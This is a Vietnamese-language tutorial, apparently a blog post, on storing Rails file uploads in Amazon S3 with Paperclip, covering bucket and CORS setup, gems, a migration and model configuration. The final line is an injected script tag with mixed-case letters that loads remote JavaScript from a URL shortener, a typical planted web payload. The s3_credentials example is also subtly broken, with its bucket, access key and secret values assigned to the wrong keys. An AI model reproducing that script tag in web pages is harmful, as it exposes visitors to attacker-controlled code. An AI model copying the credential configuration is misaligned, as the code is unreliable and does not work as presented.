Uploading Files to Amazon S3 with Paperclip

I. Tổng quan

Paperclip là 1 gem ruby rất cơ bản và hữu ích được sử dụng hầu hết trong tất cả các ứng dụng của Rails. Về cơ bản nó cho phép người dùng tải lên các hình ảnh và file đính kèm nhằm mục đích lưu trữ và xử lý.

Việc lưu trữ Files/Attachments (file đính lèm) vào Amazon S3 sử dụng paperclip khá đơn giản, được chia làm 2 giai đoạn: First Storge, Second Retrieval; được thực hiện lần lượt từng bước.

Ngoài việc tải các tập tin lên máy chủ ứng dụng, paperclip còn cho phép bạn lưu trữ file trên 1 số dịch vụ lưu trữ bên ngoài (external storage services) như Amazon S3 để cung cấp khả năng mở rộng ứng dụng của bạn tốt hơn, độ tin cậy và tốc độ cao hơn.

II. Getting Start

1. Workflow

  • Người dùng upload file trực tiếp lên thư mục tạm trên S3
  • URL tạm của file được trả về cho ứng dụng của chúng ta (dưới dạng callback).
  • Ứng dụng tạo đối tượng mới Document object, thiết lập dữ liệu khởi tạo từ file S3 tạm đó, sau đó đưa vào hàng đợi của tiến trình nền (background process) để chuyển các file tạm đó đến nơi Paperclip mong muốn, file có thể được xử lý (chỉnh sửa kích cỡ) nếu được yêu cầu.
  • Hiện thông báo cho người dùng nếu họ truy cập vào 1 trang tập tin (file page) trong khi nó vẫn đang được xử lý.

2. S3 Setup

2.1. Tạo tài khoản AWS (Amazon Web Services)

Sử dụng dịch vụ lưu trữ đơn giản của Amazon - Amazon's Simple Storage Service (S3) là tiêu chuẩn vàng của dịch vụ lưu trữ file. Trước khi bắt đầu làm ứng dụng (app), cần tạo 1 tài khoản AWS nếu bạn chưa có tài khoản nào trước đó. Dịch vụ này có thể phải trả phí nhưng đừng quá lo lắng vì có 1 số phần miễn phí có lẽ cũng đủ để cung ứng cho app của bạn.

Đầu tiên, đăng ký 1 tài khoản trên Amazon S3. Hướng dẫn chi tiết : http://docs.aws.amazon.com/AWSSdkDocsRuby/latest/DeveloperGuide/ruby-dg-setup.html

Sau khi đăng ký thành công và đăng nhập hệ thống, đi đến AWS Management console có giao diện như hình dưới đây :

AWS-account.png

Trong phần Storage & Content Delivery, click vào S3.

2.2. Tạo Bucket

Sau khi chọn S3 trong management console (giao diện điều khiển quản lý) sẽ chuyển sang 1 màn hình khác (S3 dashboard - màn hình quản lý S3) có giao diện như hình sau đây :

creating-a-bucket-1.png

Lúc này, cần tạo ra 1 bucket - là nơi lưu trữ tất cả file mà bạn upload lên S3. Thông thường thì nên tạo 1 bucket cho 1 ứng dụng Rails. Tạo bucket bằng cách click vào button Create Bucket -> 1 modal hiện ra để bạn nhập tên cho bucket. Bucket mới tạo ra này là 1 bucket rỗng vì chưa có gì được upload lên.

Lưu ý : tên Bucket phải là duy nhất trong toàn bộ miền.

creating-a-bucket-2.png

Khi đã có bucket, chúng ta sẽ cần thiết lập CORS để thiết lập luật và thông số cho việc upload. Ở tab Properties của bucket, click “Edit CORS configuration” và dán đoạn mã XML sau vào file gistfile1.xml :

<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
  <CORSRule>
    <AllowedOrigin>*</AllowedOrigin>
    <AllowedMethod>POST</AllowedMethod>
    <MaxAgeSeconds>3000</MaxAgeSeconds>
    <AllowedHeader>*</AllowedHeader>
  </CORSRule>
</CORSConfiguration>

3. Getting Started

Hãy chắc chắn rằng Rails gem của bạn đang là phiên bản 4.2

3.1. App Configuration

Thêm 3 gem sau vào Gemfile:

gem 'aws-sdk' # S3 API
gem 'paperclip' # file attachment syntax and callbacks
gem 's3_direct_upload' # direct upload form helper and assets - trực tiếp upload từ helper và assets

Sau khi bundle, bạn có thể tạo 1 file yaml (s3.yml) để tham chiếu thông tin S3 của bạn hoặc include trực tiếp các thông tin này vào trong model. Nội dung của file nên như sau :

access_key_id:
secret_access_key:
bucket: //value cần điền là tên bucket đã tạo

file trên định nghĩa AWS key dùng để tương tác với bucket từ Paperclip và s3_direct_upload. Thiết lập cụ thể phụ thuộc vào nền tảng lưu trữ (hosting platform) và tùy chọn của bạn.

Bạn cần điền các tham số tương ứng với 3 thông số trong file trên dựa trên các thông tin bạn nhận được từ Security Credentials của site S3 (các thông số nhận được từ tài khoản trên Amazon S3).

3.2. App Configuration

Tiếp theo, cập nhật model để include attached file. File attach có thể đóng vai trò là element (phần tử) của 1 model riêng (file của model Attachment/UploadFile...) hoặc là 1 thuộc tính (attribute) của 1 model nào đó (avatar của 1 user chẳng hạn). Ảnh được đính kèm vào User model giả định gọi là Avatar, chạy lệnh sau trong console:

rails generate migration add_avatar_to_users avatar_file_name:string avatar_content_type:string avatar_file_size:integer avatar_updated_at:datetime

sau đó chạy rake db:migrate để tạo ra các thuộc tính cho Avatar (model ảo) đó. Sau khi chạy lệnh trên, 4 thuộc tính được thêm vào model User : avatar_file_name, avatar_content_type, avatar_file_size, avatar_updated_at. Thuộc tính content_type sẽ lưu trữ thông tin như jpeg, png, ...

Thêm đoạn sau vào model (user.rb) để khai báo new attachment :

has_attached_file :avatar,
    default_url: "/assets/default_icon.png",
    path: ":attachment/:id/:style.:extension",
    storage: :s3,
    url: ":s3_alias_url",
    s3_host_alias: "#{your_bucket}.s3.amazonaws.com", # your s3_domain
    s3_protocol: "https",
    s3_credentials: {
      bucket: Rails.configuration.aws[:access_key_id],  # your_bucket
      access_key_id: Rails.configuration.aws[:secret_access_key],
      secret_access_key: Rails.configuration.aws[:bucket]
    },
    s3_permissions: "public-read",
    styles: {
      large: "1024x1024>", # size and style's name
      normal: "600x600>",
      thumb: "120x120#"
    },
    convert_options: {all: "-background white -flatten +matte"}
  • :styles =>{...} nói cho paperclip biết các kiểu styles chúng ta muốn định nghĩa cho ảnh được upload lên (có thể thay đổi kích cỡ ảnh của từng style ở đây hoặc định nghĩa thêm 1 số style khác theo tùy chọn của bạn). Việc resize này sử dụng ImageMagick để thực hiện.

  • s3_credentials : chỉ dẫn tới 1 path, 1 File hoặc 1 mảng (hash) chứa thông tin truy nhập s3 mà Amazon cung cấp cho bạn (bucket, access_key_id và secret_access_key)

  • s3_permissions : là 1 string xác định chính sách truy cập S3 cung cấp, mặc định cho Paperclip là :public_read

  • bucket : tên của S3 bucket sẽ lưu trữ file của bạn. Tên này là duy nhất trên Amazon S3. Nếu bucket không tồn tại thì Paperclip sẽ cố gắng để tạo ra 1 bucket.

  • path : là key của bucket, trong file sẽ được lưu trữ. URL sẽ được xây dựng từ bucket và path (đường dẫn tới file trên s3). path chứa id của tập tin tải lên -> đường dẫn này là duy nhất.

Quá trình phát triển trực tiếp (bao gồm cả config + view) được demo trong code trên gitHub :

https://github.com/framgia/brs_2/commit/d637a48673bed8a3d92baec6e84859832bf6cf8a

III. Lời kết

Paperclip và S3 là 1 cặp đôi hoàn hảo lý tưởng cho việc upload file, làm việc lại dễ dàng và đơn giản. Trên đây chỉ là tổng quát về tiến trình upload. Bạn có thể tham khảo thêm ở các link sau đây :

http://blog.enbake.com/uploading-files-to-amazon-s3-with-paperclip/

https://www.codefellows.org/blog/tutorial-how-to-upload-files-using-the-aws-sdk-gem

https://github.com/padrino/padrino-framework/issues/1127

https://devcenter.heroku.com/articles/paperclip-s3

http://www.rubydoc.info/github/thoughtbot/paperclip/Paperclip/Storage/S3

  • Source code trên giHub :

https://github.com/framgia/brs_2/commit/697a243652310df43061869cd9b44084c94ec2b3

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>